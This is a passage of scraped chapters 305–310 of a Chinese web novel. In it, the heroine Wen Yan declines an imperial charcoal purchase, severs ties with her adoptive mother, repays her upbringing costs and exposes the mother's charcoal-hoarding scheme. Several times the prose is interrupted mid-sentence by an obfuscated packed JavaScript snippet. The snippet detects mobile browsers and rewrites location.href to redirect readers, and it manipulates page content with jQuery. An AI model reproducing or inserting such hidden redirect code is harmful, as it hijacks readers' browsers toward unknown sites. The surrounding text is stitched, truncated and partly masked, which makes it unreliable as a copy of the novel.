江心葵安抚地拍了拍她的手:“你慌什么!她的就是我的。百万斤炭,宫里肯定要不完,剩下的就让闻颜全部送到我们手上。” 闻如月犹豫:“闻颜她会愿意吗?” “她还敢不愿意? 大不了我们就花点钱批发回来呗,还能让她吃亏?” 就在母女俩对那批炭志在必得之时,就听闻颜大声道:“民女不能从命,请皇上收回成命。” 江心葵母女脸色陡地僵住。 皇帝怔住。 皇后怔住。 元小头领也怔住了。 就连孟迟飞都拉了拉闻颜的衣袖:“你不要命啦,有什么话私下里再说。” 现场响起此起彼伏的抽气声,这个闻颜疯了吗? 泼天的富贵摆在眼前,她不仅不珍惜,还要往外推。 有病! 纯纯脑子病! 那些人恨不得上去推开闻颜,代替她接下那旨意。 太监大声喝斥:“大胆,你想抗旨吗?抗旨的罪可大可小,轻者杀头,重者诛连九族,你可要想清楚了。” 太监摇了摇头,闻小姐头脑灵活,但到底年龄太小,不懂得审时度势。 这不是让皇上颜面尽失,下不来台吗? 上一个敢在大庭广众之下,跟皇上唱反调的大臣,被发配到岭南,现在还在抓虫子呢。 江心葵也急死了。 闻颜自己找死,可别拉上闻家。 她在人群里,拼命给闻颜使眼色。 闻颜根本没注意到她。 闻颜一脸惶恐地跪下,行了个大礼,以头碰地:“民女不敢。 民女只是想到,宫中今年想必已经向京城周边的炭户采购到足量的木炭,若是再到我这里采购一分,宫中木炭就过盛了。”闻颜表面卑微害怕,说话的声音却坚定而沉稳。 她简直愁死了,这哪里是恩宠啊。 这分明是明褒暗贬,故意给她拉仇恨。 皇帝脸色一沉。 现场安静得落针可闻。 江心葵双腿一软,差点栽倒在地。 完了完了,闻颜这个贱丫头竟敢抗旨,她自己不要活了,也别牵连闻家啊! 江心葵慌得失去冷静,拔开人群就冲了出去,跪在地上,“皇上恕罪,是这丫头不懂规矩,不知这是欺君之罪,还请您饶过她的不敬之罪吧。” 江心葵‘砰砰’磕头,没几下额头就红了。 江心葵急得在她腰上掐了一下,呵斥道:“还不快磕头请罪,你自己作死不要紧,怎么敢牵连到闻家,我们饶不了你!” 闻颜心思电转之间,就有了决断。 她‘哎呦’一声大叫出来:“疼!母亲,您掐我做什么?” 江心葵连忙挤出一抹尴尬笑容,解释道:“娘不是掐你,娘只是太紧张,手上没轻没重。” 闻颜不轻不重地‘哦’了一声,就准备继续说炭的事。 江心葵急得抬手就朝闻颜打去。 闻颜看着打来的巴掌,她躲得过,也截得住。 但她没有躲,而是硬生生受了这一巴掌。 闻颜的眼圈瞬间就红了,她捂着脸,委屈地看着江心葵:“母亲,您为什么打我?就这么不相信女儿吗? 小时候明明的您很疼爱很相信我的。 我理解您,毕竟我不是您的亲生女儿。 可我也是受害者啊,当初身份一查明,我就想回到亲生爹娘身边。 是您和父亲不同意,说我在闻家长大,也算闻家的女儿。 我留下来了,可您为何不再信任我? 嫁衣之事如此;今日的事,亦是如此! 母亲,我好伤心啊,我到底做错了什么?让您如此的厌恶我? 如果说是我亲生爹娘使坏,故意调包了我和如月姐姐就罢了。 可是当年……” “你别说了!不许说了!”江心葵为了打断她,又朝闻颜扇巴掌。 闻颜低头擦泪躲开,挨那一巴掌是为了当弱者博同情,再挨第二巴掌就是犯贱了。 不过,那一巴掌根本就没落下。 半道就被应知林截住了。 应知林甩开江心葵的手:“皇上面前,你怎敢动用私刑。” 他张口就把问题给升级了。 江心葵想喝斥他,应知林却对闻颜点点头:“你想说什么,只管大声说出来。有我在,没人可以再碰到你第二下。” 闻颜像接受到了无限的勇气,继续道:“当年是您顶着十个月的肚子,去寺庙还愿,途中遇险早产,是我的亲生母亲,顶着同样十个月大的肚子,找人来救您,帮你请稳婆。 我亲娘本就临盆在即,身体不堪重负,也在前后脚生下了我。 是您嫌弃刚出生的闻如月皮肤青紫,丑得像只小猴子,认定白白胖胖的我才是您的孩子,将我抱走。 我自认我的爹娘没有对不起您的地方,您为何一而再,再而三的想冤枉我,不信任我。 嫁衣的时候,我明明跟您解释过,我没有卖嫁衣,您不信我。 还逼我在您母亲的生辰宴上,承认我卖嫁衣。” 闻颜说着说着,眼泪就扑簌簌地流下来。 第305章:不当吃不当喝 “母亲,我们以为就算我们不是血脉亲情,十几年的日夜相处,也该有些情分的。 您为什么要这样对我!是我哪里做错了吗?”闻颜捂着胸口,几乎要哭晕过去。 江心葵的脸色却黑得像抹了一层锅底灰。 当初孩子找回来后,她怕大家骂她,就有意无意在外透露,是张敢娘贪慕虚荣,偷偷换了她的女儿。 如今闻颜将所有事情抖落出来,她的谎言全都被拆穿了。 “你闭嘴,不许再说了!”她想扑过去捂闻颜的嘴,却被应知林挡开。 闻颜突然面对江心葵跪着,郑重道:“江夫人,既然您如此看不上我,那我们的关系就到此为止,就此别过吧。 如月姐姐回到身边孝顺您,我也想以柳家女儿的身份,回去侍奉我的亲生爹娘。” 说罢,她就对江心葵重重磕了三个响头,“这十几年的照顾,我下辈子再结草衔环。” 江心葵气得不行:“你说断就断,这些年我们在你身上花的钱,培养的精力,给你铺的人脉,你难道想一笔带过?不说别的,就连孟家也是因为我们闻家的身份才攀上的。” 闻颜靠闻家才拥有现在的一切,她凭什么能顺利脱身。 闻颜眼眶通红:“可是这些年……闻如月是早产,生下来很虚弱,是我爹娘花尽家产,四处寻医问药,才治好了她。 为了给闻如月买漂亮的衣服首饰,就连我娘生病,都舍不得看大夫。 虽然在钱财上并不对等,但是在用心程度上并不比你们少。 算了……” 闻颜苦笑着擦掉眼泪:“那么,就请江夫人将我这些年的花费清算出来,我就算是砸锅卖铁,也一定会把钱还给您。” “哪儿用得着你砸锅卖铁。”白夫人大步走了过来,“只要你能摆脱闻家,这份钱我来出。” “大嫂,还是我来吧。你们为了筹赈灾款家里该卖的都卖了,我手里还有银子,应该够支付闻家的养育费了。”孟家二婶也走了过来。 闻颜感激地看着她们:“义母,二婶婶,谢谢你们。” 二婶揉了揉她的头发,“我们看着你长大,怎么能看着你受委屈。” 白夫人转身去扶起江心葵,手上稍一用力。 江心葵只觉得手臂一痛,不过一个呼吸间,她的半边身体就失去了知觉,连声音都发不出来了。 “江夫人,凡事见好就收,别到最后收不了场。”白夫人笑眯眯的,眼睛里却全是威胁,“相信我,我在战场厮杀二十几年,对付你一个官宦主母,有的是力气和手段。” 江心葵不是第一次跟白夫人打交道,却是第一次被她威胁。 顿时生不起反抗之心,只能点头。 “江夫人这是同意了,你果然温柔识大体。”白夫人松开手。 江心葵瞬间跌坐在地。 白夫人回头向帝后行礼:“皇上,娘臣妇想请二位给闻颜做个见证,了结这一庄旧案。” 帝后对视一眼,皇后看明白皇帝眼中之意。 随即询问闻颜:“你真的要断了这门亲吗?” 闻颜用力点点头。 皇后又看向江心葵:“那你呢?也是一样的想法吗?” 江心葵不想,可她不敢反抗白夫人。 只得点头。 皇后当即派了一个宫女,让她跟着闻颜,把这件事处理完了,再回宫同她复命。 闻颜再次说起采购木炭的事。 皇帝见她冥顽不灵,都有些生气了。 皇后扯了扯他的衣袖,皇帝的怒气瞬间烟了回去。 皇后对他低语:“她特地提到京城周边的炭户,应该是怕宫中采购了她的炭,京郊的炭户就会断了收入。” 那些没了收入的人,不敢怪皇帝,却会把一切都怪在闻颜身上。 皇帝轻哼一声:“她倒是心善,什么都考虑周全了。” 就是没考虑到他的面子。 皇后笑得温柔:“那些炭户本就艰难,冬天更是难熬,若是连唯一的收入都没有,这个冬天恐怕就要难熬了。 你不是也心系百姓吗? 况且,敢当众拒绝你,这样直爽的性格不比那些一句话拐十八道弯的强?” 皇后三言两语,就把皇帝哄好了。 皇帝哼了一声:“看在你的面子上,我就饶她一回。” 就在众人以为闻颜这次死定了。 就听皇上道:“念在你心系周边炭户生计的份上,本次就恕你无罪。” “谢皇上不罚之恩,皇上英明睿智心系百姓,是万民之福。”闻颜连忙把马屁安排上。 皇帝哭笑不得,摆摆手问她:“你花那么多人力物力买回来的炭,卖不掉,岂不是要亏大本?” “回禀皇上,民女不亏的。 ‘一点墨’在筹赈灾银子的时候,已经打开知名度,这半年来,铺子赚了不少钱。 民女不敢撒谎,民女在‘一点墨’占技术分红,分到一些钱,再加上各方帮衬,才买下那些炭的。 而买回来的那些炭,民女也不愁往外卖,民女开了一间新铺子,正好需要大量的炭。” 皇帝哈哈一笑:“果然啊!你的性格虽与迟飞大相径庭,却一样的有勇有谋,敢想敢做。 既如此,朕就取消宫中采购炭火的旨意。 既然你有新铺子开业,告诉朕你的新铺的名字,经营什么?” “民女的小铺子,做些女子消遣的生意,名叫清风小楼。” 皇帝大手一挥:“笔墨侍候。” 周围文武百官的嘴角抽了抽。 来了来了。 皇上又来! 每次赏赐人,都是写一幅字。 一次二次,众人以为是皇帝重视此人。 时间一久,众人就看明白其中关窍。 根本不是什么重视,而是皇帝舍不得出钱,又不想别人说他小气而不得不赏。他便苦练书法。 只要不牵扯到极大的朝政,他都赐字予人。 有些厉害的官员家中,已经放着三四幅皇帝的墨宝了。 那玩意儿既不能送人也不能卖了换钱。 不当吃不当喝,还要像祖宗一样供着。 受赏的人一点都高兴不起来。 刚才闻颜得到重视,让他们嫉妒,现在见她得赐墨宝,竟雀跃地开始幸灾乐祸。 不一会儿,清风小楼四个字,便苍劲有力地出现在纸上。 闻颜接过墨宝,就准备离开。 “等等。”皇后突然出声叫住她。 “娘娘还有何吩咐?” 第306章:抚养费 皇后道:“你的清风小楼听着就很有意思,开业之时,记得给我也递一张帖子。” 闻颜诚惶诚恐:“民女记住了。” 闻颜扶着白夫人退开,帝后也起驾回宫。 文武大臣随着圣驾一起离开。 安静的城门口也渐渐活跃起来。 众多目光,都随着闻颜移动。 不过他们看的不是闻颜,而是跟在闻颜身后的应知林。 墨绿长衫,长身玉立,气质儒雅,更有一张惊世绝伦的脸。 那些妇人、姑娘的眼神几乎要粘在他身上。 应知林低垂着头,不堪其扰地往闻颜身后躲:“他们为什么要看我?他们的眼神好可怕,像是要吃掉我。” 闻颜安抚道:“他们没有恶意的,单纯欣赏你的美貌而已。” “啊?”应知林脸上疑惑,心里已经开始琢磨,闻颜是不是又在打什么坏主意。 对这些人的反应,闻颜很是满意。 对,就该这样! 越多人关注他越好,最好明天就有几个上门谈婚事的。 才不枉他对应知林的一番打扮。 上次流水席上,那位富绅明明起了把女儿嫁给应知林的心思。 可二十几天过去了,却一点音讯都没有。 闻颜有些着急了。 毕竟,按她的猜测,应知林已经度过死劫。 三年之后,他不会再死。 应知林在她眼中,就从一块带着温度的牌位,变成了一个活生生的大丈夫。 而他对自己过度依赖,太容易情感扭曲,产生一些不该有的心思。 在他身边待得越久,后面想和离就会越艰难。 契约在婚书面前,也会变为一张废纸。 为了以绝后患,她也该提前准备,让他身边多些善解人意,温柔体贴的女子。 这样他才不会只盯着她一个人。 既然今天得了帝、后的青睐,那她和应知林的契约,就不必等四年之久。 她会趁机抱紧帝、后大腿,彻底在京城站稳脚跟,就能提前结束这段契约关系。 也只有重新进入权贵圈子,只有收集足够多的筹码跟津平侯对着干。 才能把霍耀行彻底踩死。 孟迟飞不必进宫中,帝驾一走,她就飞奔向闻颜:“颜颜!” “迟飞姐姐!”闻颜张开双臂,想和她来一个大大的拥抱。 孟迟飞却一把掐着她的腰,将她抱了起来转圈圈。 等孟迟飞把她放下,闻颜已经晕头转向,眼前直冒星星,站都站不住了。 孟迟飞见她晕乎乎的样子,乐得哈哈直笑。 应知林抿着唇,上前扶着闻颜,让她靠在自己肩膀上。 凑热闹的人渐渐散去,江心葵和闻如月也坐着马车,准备随着人流离开。 闻颜指着马车:“迟飞姐姐,江心葵要跑了,扶养费还没给,拦住他们。” 孟迟飞闹归闹,办起事来却是一等一的靠谱。 人流太多,她挤不过去。 便借力运起轻功,没几下就落在闻家的马车上。 她直接夺过缰绳,将马车调转方向,朝白夫人方向驶去。 江心葵并不想跟闻颜撇清关系。 闻颜刚受了皇帝的嘉奖,接下来肯定还有不少好处和机会。 比如她那个新店开业,万一真的请来了皇后,她也能混个脸熟。 所以她想混在人流中离开,没想到还是被逮住了。 闻如月眼珠子滴溜溜地转,想到算完抚养费,就会失去对闻颜的绝对控制权。 她摇着江心葵的胳膊:“母亲,你想想办法啊,难道就这样放过闻颜?” 江心葵撩起马车帘子往外看了一眼,见皇后留下的宫女,正在跟白夫人交谈。 她便知道,今天这事糊弄不过去了。 她朝闻如月摇摇头:“先试试吧,若她油盐不进,我们没有别的办法,就只能利益最大化了。” 马车很快就停在孟家马车的旁边。 江心葵母女互相搀扶着下了马车。 江心葵一看见闻颜,就几步上前握住她的手,开始演慈母情深:“颜颜,刚才母亲说的都是气话。 你刚出生的时候才这么点大,是我一把屎一把尿把你喂大,十几年的朝夕相处怎么可能没有一点感情。 只是你如月姐姐刚回来,我想弥补她,所以才会多偏心她,冷落了你。 母亲真的不是故意的。” 闻颜一行人听得眉头直抽抽。 什么叫一把屎一把尿把她喂大。 这人会不会说话啊! “是我没福气,我们的母女缘分尽了。 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424118|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心姑姑还急着回去向皇后娘娘复命,我们还是到路边的茶摊上尽快清算吧,一切公开透明,才能没有争议。” 有蓝心姑姑做挡箭牌,江心葵气得脸颊的肉颤了颤。 她只得答应下来。 双方分开行动。 孟家直接叫来了五位账房先生,江心葵则派人取来这些年的账本。 江心葵虽然居心不良,但她管家却是一把好手。 闻颜从小到大的衣食住行,日常开销,都有闻家的公账可查。 闻颜一年四季八身衣裳,加上首饰和吃住,一年的花销约莫在百两银子左右。 不过,自从闻颜八岁结识了孟迟飞之后,闻颜的衣服几乎就被白夫人承包了。 但凡孟迟飞有的,闻颜都有一份。 十六年时间,总共加起来不足千元。 但闻颜按千元来计算。 随后便是读书的花费。 四书五经是在族学上的,琴棋书画虽然都特地请了西席先生。 不过也是与孟氏一族,十三位小姐一起学习。 每年花费一千五百两,请了四年西席。 而闻颜只需付十三分之一的费用,共计四百六十两银子。 再就是带她出席各种宴席,人脉结交等折现,所有费用加在一起,白夫人给了她二千两银子。 账目文书写得清清楚楚,拿给江心葵签字画押。 江心葵虽然不舍不甘,但还是写下了自己的名字。 闻颜又把文书递到闻如月面前:“既然你看了全程,也在上面签个字吧。” 闻如月张了张嘴,又秋了一眼蓝心姑姑。 乖乖签下名字。 闻颜将契书拿给蓝心姑姑:“有了这个,我就能去官府改名字了吧。我想跟着亲生父母姓。” 蓝心姑姑笑着点点头:“当然可以。” 拿到签好名字的文书,闻颜一颗悬着的心终于落了地。 双手一手交钱,一手交文书。 闻颜数出两千两银子给江心葵:“喏,不用找了。” 江心葵气得发抖。 但她是把银子推了回去:“想要跟我断亲也可以,我不要银子。” “那你想要什么?” “刚才不是说,你从晋阳府采购了百万斤木炭回来吗,你把那些木炭全部给我就好。” 第307章:发**财 闻颜正愁找不到机会,把寒灾的事往上面报。 江心葵就主动送上门来了。 今天真是个好日子。 烦恼的事儿总能成。 闻颜掩下高兴,问道:“你想要多少?” “全部!”江心葵道。 只要拿到那些炭,他们就能在今年冬天,让半个朝廷的官员都欠下他们的恩情。 到时,别说控制一个闻颜,便是让闻父当上户部尚书也是手到擒来。 闻颜狐疑地看着江心葵:“那可是百万斤炭,非常非常多,就算府上每个屋子,十二时辰不间断的烧也用不掉的。” “能不能用掉要你管?”闻如月白她一眼,“你把炭给我们就行了。” “总之,一手交炭一手交契书。” 闻颜脸上的神情越发的不解:“江夫人,您向来持家有道,为何放着钱不要,反而要这些没用的炭。 莫非,这些木炭对你有大用?” 江心葵的眼神明显闪躲了一下。 嘴犟的解释:“你……你少胡说八道,什么大用不大用的。我冬天畏寒,想多备些木炭罢了,这有什么好奇怪的。” 闻如月也在一旁帮腔:“还不是我母亲心疼你。你本来就生活艰难,一下子跟外人借二千两,这么多银子,你得还到猴年马月!不如用炭来抵债。” 闻颜没有被他们带歪,继续猜测:“木炭仅有的两个作用,做饭、供暖。 做饭有柴禾,那唯一的目的,便是供暖。 莫非……今年是一个寒冬!” 闻如月啧啧两声:“江夫人,既然今年是寒冬,你们可有往上报? 上面知道了吗? 是怎么安排的? 有没有什么应急措施? 我们怎么一点声音没听到?” 江心葵一脸惊恐地看着闻颜。 闻颜是不是疯了。 仅凭她一个举动,就猜出全部真相。 若是消息真的传出,所有人都开始囤炭,他们的计划还怎么实施? 江心葵连忙否认:“不是的。我没有。我只是可怜你。” “江夫人,事到如今你还不承认吗? 您若是将此事广而告之,可以让更多的百姓有所准备,不至于在寒冬里丢了性命。 可是您一声不吭,悄悄囤炭。 哦……我知道了。 ……江夫人您是想寒冬,卖炭大发**财啊!” 闻颜声音不小。 周围本就有很多人注意着他们。 一句‘大发**财’,顿时便将所有人注意力都吸引了过来。 那些围观的人,纷纷朝这边看过来。 江心葵大急,她不敢承认,直抹眼泪:“我没有!我的一片好意想帮你,你不领情就算了,反而还想冤枉我。 枉费我们这十几年对你的悉心教导。” 言外之意,便是龙生龙凤生凤,老鼠生儿会打洞。 闻颜生身微寒,骨子里流着卑微血液,即便是在官宦之家悉心教导了十几年,也难改骨子里的卑微**。 闻颜对她的阴阳怪气并不介意。 反而一脸后悔地道:“哎呀!原来是这样! 果然,母亲您是知书达理的世家千金,怎么可能会干出那种缺德事。 所以,这些银子,您就好好收着吧。” 闻颜将银子硬塞到江心葵的手中:“此间事了,就不再耽误江夫人了。江夫人请回吧。” 江心葵冷哼一声,便灰溜溜地坐上马车走了。 蓝心姑姑也准备告辞离开。 闻颜将她送上马车,一副欲言又止的模样。 蓝心姑姑:“颜小姐有话直说。” 闻颜下定决心道:“蓝心姑姑, 江夫人无利不起早,她不可能对我大发善心,买炭之事必有蹊跷,斗胆请姑姑在皇后娘娘面前提一嘴,今年冬天兴许真的是个寒冬。” 蓝心姑姑玩味地看着她:“你倒是心思细腻。” 闻颜苦笑:“过了两年寄人篱下的日子,多少会一点察颜观色。蓝心姑姑,宁可信其有不可信其无。 如若真是寒冬,不知要冻死多少百姓。” “放心吧,此事我会认真提一提的。” 闻颜松了一口气:“劳烦姑姑了。” 将人恭敬送走之后,闻颜才回到队伍。 孟迟飞一把抱住闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟希延当即跪下:“皇上,微臣想要合香丸,请皇上赐药。” 合香丸? 皇帝看向身边的总管太监。 总管太监上前小声解释了什么。 皇帝眉头微皱,关心问道:“希延,你受伤**了?” 孟希延道:“赈灾的时候剿匪中遭了暗算。” 皇帝当就准了他的请求:“准了,合香丸赏你就是了。你还有别的想要的吗?” 第308章:皇帝催婚 孟希延迟疑了一下,才道:“微臣妹妹爱吃御善房做的炙子骨头、羊头签、莲花鱼包……” 他的话没说完,皇帝就抬手阻止了他:“还有蟹酿橙、酥油鲍螺、乳糖狮子、蜜煎、雪霞羹、宋嫂鱼羹、群仙羹,最后要再来些冰雪冷丸子、梅花汤饼、沉香熟水溜溜缝。” 孟希延黢黑的俊脸悄悄地红了,因为贪嘴的妹妹变得有些扭捏:“迟飞嘴馋,就爱吃这些。” “迟飞爱吃,随时进宫来吃就好,这等小事,怎能与你的功绩相抵。 既然你想不到想要什么,那我就看着给了。”皇帝摆摆手,就将此事定下了。 一旁的大臣直撇嘴:什么小事? 一道群仙羹就要耗费各种山珍海味熬制而成。 便是宫里的主子,也只能在重要的宴席上才能吃到。 孟希延没再提别的要求,皇帝反而不高兴,沉默一会儿,便道:“你年龄也不小了,婚事也该提上日程了。你可有相中谁家的姑娘,说出来,朕为你赐婚。” 孟希延一脸诚惶诚恐,道:“微臣还没有喜欢的姑娘。” 皇帝道:“这么多年了,你还放不下那个姑娘?” 孟希延不答,只是跪了下来。 皇帝长叹一声:“深情不寿,那姑娘都走了五六年了,你也该走出来了。 你喜欢她,就把她放在心底。 底天下还有很多好姑娘,总能再找一个你喜欢的,你可不能耽误了终身大事。 若是那个姑娘泉下有知,也会担心你的。” 武将家的儿郎,不知哪天上了战场就回不来了。 孟希延作为家中长子,二十有一了还不曾娶妻生子,这几年又战事频繁,他要是出点什么意外,以后连给他摔盆烧纸的人都没有。 皇帝也是操碎了心。 没有他这个皇帝操持,老孟家迟早得散。 老孟和小白也是,一心扑在打仗上,也不知抽空管一管几个孩子。 每次问到,都说不急,还说什么让孩子自己慢慢挑慢慢找,找到一个合心意的,相亲相爱才能相互扶持着走一辈子。 老大五年前喜欢的姑娘死后,就封心锁爱,对年轻姑娘不看一眼。 迟飞的娃娃亲事眼看能成婚了,结果又是个心术不正的。 孟家是不是刨了别人的祖坟,才让家中后辈的婚事,一个比一个坎坷。 皇帝都替他们老孟家担忧,会不会绝了后。 孟希延:“皇上,微臣……微臣还没办法接受别的女子,还请皇上给微臣一点时间。” “你啊……” 皇帝无奈的长叹一声,就让早朝散了。 大臣们你瞅瞅我,我瞅瞅你的出了大殿。 今天真是小刀剌屁股,开了眼了。 向来不苟言笑的皇帝,竟然当起了知心大哥哥,开导起孟希延。 那语重心长的样子,就像一个和善的长辈对待看重的小辈一样。 也不知是谁在传,说皇帝忌惮孟家,欲将孟家拔除。 现在看来传言有误,孟家还能再风光好几十年。 昨日,闻颜他们一路回村。 途中经过十里亭,遇见一支车队。 车队上还插着旗帜,蜿蜒在官道上,几乎看不到头。 离得近了,便能看到更多细节。 那些旗帜上写着‘一点墨’三个大字,原来是自家的运炭车队。 赶车的人有老有少有壮汉有妇孺,他们个个身形瘦削,穿得破破烂烂,衣服上补丁摞着补丁。 闻颜的马车一到,赶车人全都好奇地看向他们。 闻颜跳下马车,找了一个妇人询问:“请问,你们管事的人是谁?” 妇人好奇地打量着她:“你是谁啊?找我们管事干什么?” “我是来交接木炭的。” “你一个小姑娘?”妇人好奇归好奇,但还是让人去叫人,“你在这里等着吧,我们薛管事马上就来了。” 没一会儿。 一个车夫就领着一个中年男子过来了。 “薛义叔,”闻颜惊讶地喊道,“是你过来送炭啊!” 上次他们去晋阳府,第一个借住的地方,就是薛义家中。 薛家还被他们连累,失火把房子烧了。 “丑……丑娘?!”薛义抱拳行礼的动作僵在半空,不可置信地问。 对方的声音实在太像丑娘,他不会听错的。 但是,眼前这个漂亮灵动的小姑娘,跟他印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427668|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象中那个面容丑陋,畏畏缩缩,说话都不敢大声的丑娘,大相径庭。 “是我。薛义叔,薛小妹和薛奶奶身体还好吗?”闻颜笑着道。 “托你们的福,他们一切都好。不过……你们真是同一个人?容貌差得也太多了吧!” 闻颜笑着道:“出门在外,难免要做一些伪装,薛义叔你别介意。” 薛义笑笑:“怎会介意。女子在外,比男子更加谨慎小心是对的。” 他们寒暄几句,就转入正题。 外面这支车队,是他们临时组建起来给她运炭的:“这一趟,我们拉了二十万斤炭,大半是精炭,小半是普通的次炭。” 这得二百多辆车来拉,再加上一路上的物资消耗,这一趟拉的东西真的很多,也很不容易。 闻颜没这么大的库房,还是先把炭送去孟家的庄子上。 孟家的庄子上,多是从战场退下来的老兵。 炭放在那里,他们会看护好的。 解决了炭的事,薛义又道:“这次,我们还带了一个人来。” 说着,他朝空中拍了拍手。 随即,就见几个婆子,押着一个丰腴的年轻姑娘走了过来。 那姑娘正是应喜妹。 她一看见闻颜,就想到自己这一路上吃过的苦,受过的罪。 她顿时就气红了眼眶,激动地扑了过去:“闻颜,你敢害我!你知不知道,这一路上我吃了多少苦,我跟你拼了……” “你要跟谁拼了?”应知林陡地出声。 应喜妹觉得声音耳熟,定睛看了好几眼:“你……你是应知林!” 在应喜妹的印象中,应知林只是长得清秀些,怎么换了一身衣裳,就大变样了。 “你刚才想跟她拼命?”应知林又重复了一回,声音就更冷酷。 应喜妹顿时就委屈得撇着嘴,眼泪也在眼眶里打着转:“应知林,我可是你小姑。 你也不问问闻颜,她对我做了什么,你反而来质问我。你还有没有良心! 都怪这个小浪蹄子,故意把我骗去晋阳府,我差点都没命活着回来。” 应知林一把抓住应喜妹的手腕,稍一用力便将她提了起来:“你刚才骂她什么?你再说一遍。” 第309章:应知林生气 应喜妹被提得双脚离地,一阵乱蹬,哇哇大哭。 呜呜……她太惨了。 她这辈子就没这么惨过。 她才出了京城地界,就被人骗光了银子,还想把她卖去青楼。 她还算机灵,看出那些不是好人,假装顺从,半夜偷偷逃了出来。 即使这样了,她也不肯返回京城,反而继续往晋阳府走。 她觉得,只要自己表现得越惨,孟希延看见之后,就会越心疼她。 她运气不错,逃出去没几天,就遇上了一支商队。 商队里的人还怪好的,竟然同意带着她一起上路。 她除了帮商队干活累一些,基本衣食无忧。 经过大半个月的奔波跋涉,应喜妹终于到了晋阳府。 她迫不及待地去找孟希延。 不过,那段时间孟希延一直在盯着清理河道,根本不在府衙。 孟迟飞很快就发现了她,并将她控制起来,搞了几个婆子,每天十二个时辰,不间断地盯着她。 此后,孟迟飞就被关在一间小院当中,直到前不久,孟迟飞他们回京,她才被放了出来。 她还以为自己就能去找孟希延了,到时候,她一定要狠狠告孟迟飞一状。 结果,她只是从院子转移到马车里。 别说是告状,应喜妹连出马车的次数都屈指可数,就更不可能见到孟希延了。 她跑这一趟,就净吃苦去了。 “给我夫人道歉。”应知林冷漠地盯着应喜妹。 应喜妹吓得直哆嗦,哭着说:“对……对不起!” “你跟谁说呢?” “闻……闻颜,对不起!我不该骂你。” 应知林又回头着闻颜:“你要原谅她吗?” 结婚这么久,闻颜第一次见他发火,竟是为了自己。 她真的很意外。 闻颜轻轻拍他的胳膊:“别把人勒**,快放下吧。 还有,我告诉你,当初是你缠着我,非要孟大哥的行踪,是你自己要去的,我既没被逼你也没鼓动你,你别想把什么事都往我身上赖。” 应知林提着人没动。 闻颜重拍他一下:“乖,听话,把人放下。为这种人动手不值当。” 应知林耳朵发烫,听话地松开了应喜妹。 薛义问道:“她是孟校尉让我转交给您的,您看她要怎么处理?” “交给我吧,我会把她处掉的。” 闻颜让那几个妇人,把应喜妹押下去,塞进闻颜的马车里。 应喜妹脑子里一片空白。 闻颜说什么? 要处理自己? 她这一路直来,也长了不少见识。 处理掉不就是要杀了吗? 她还不想死! 诸如又是尖叫又是挣扎:“闻颜,你敢这么对我,我做鬼都不会放过你,我娘也会为我报仇,她一定会把你打成猪头。” “吵**,让她闭嘴。”闻颜捂着耳朵。 押解她的妇人,不知从哪里掏出一块又脏又丑的巾子,塞进应喜妹的嘴里。 应喜妹被恶心的臭味熏得眼前一黑,胃里直犯恶心,哇哇想吐,但又吐不出来。 别提有多恶心了。 事情交接完成,闻颜给薛义叔指了去孟家庄子的路,她则带着应知林和应喜妹几人回松山村。 回去的一路上。 应喜妹就算被绑了手脚堵了嘴也不安分,在马车里乱蹬乱撞。 吵**! 闻颜拿着一根棍子就钻入马车当中。 应喜妹看着手臂粗的棍子,就觉得后颈凉嗖嗖的。 “闻颜,你想干嘛,**犯法的,我可是你小姑,你这是不孝,罪加一,啊…… 她的话还没说完,闻颜就对她当头一棒。 应喜妹双眼一翻,就晕了过去。 世界终于清静了。 也正是因为安静了。 闻颜也发现了不对劲之处。 她拿出一支巴掌大的铜镜,检查妆容。 忽然,她的脸色一沉:“我们被人跟踪了。 在城门口就看见他们了。 我们在十里亭耽搁了那么久,他们不可能还跟在我们身后。” “谁会跟踪我们?”应知林回头。 闻颜连忙捏着他的下巴阻止,“别回头,会暴露的。喏,你用这个看。” 闻颜把镜子塞给他,自己接过缰绳赶马车。 应知林:“……” 他拿着镜子朝后观察,果然看到跟踪他们的人。 二人都选择不要打草惊蛇,若无其事地继续往前走。 “你打算怎么办?”应知林问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第310章:**儿出事 应喜妹再犯浑,也知道名声对女子的重要性。 她根本不敢反抗,只得任凭摆布。 把应喜妹拖下马车之后,周围已经来了不少围观的村民。 婶子捏着嗓子,轻咳一声,道:“应姑娘与我家小姐投缘,特地邀她到家中作客,今日才将她送回。” 该说的话都说完了,这糟心丫头的名声也该保住了吧! 婶子照本宣科地讲完,坐上马车就走了。 应喜妹气得跺了跺脚,气哼哼地回家了。 闻颜和应知林步行回到家中。 一路上他们都没遇见什么人。 平时人满为患大树下,此时却过分安静,只有五六个年迈的老人在晒太阳。 两人继续往回走,忽地看见一个十六七岁的少年。 他在看见闻颜夫妻后,低下头就匆匆跑了。 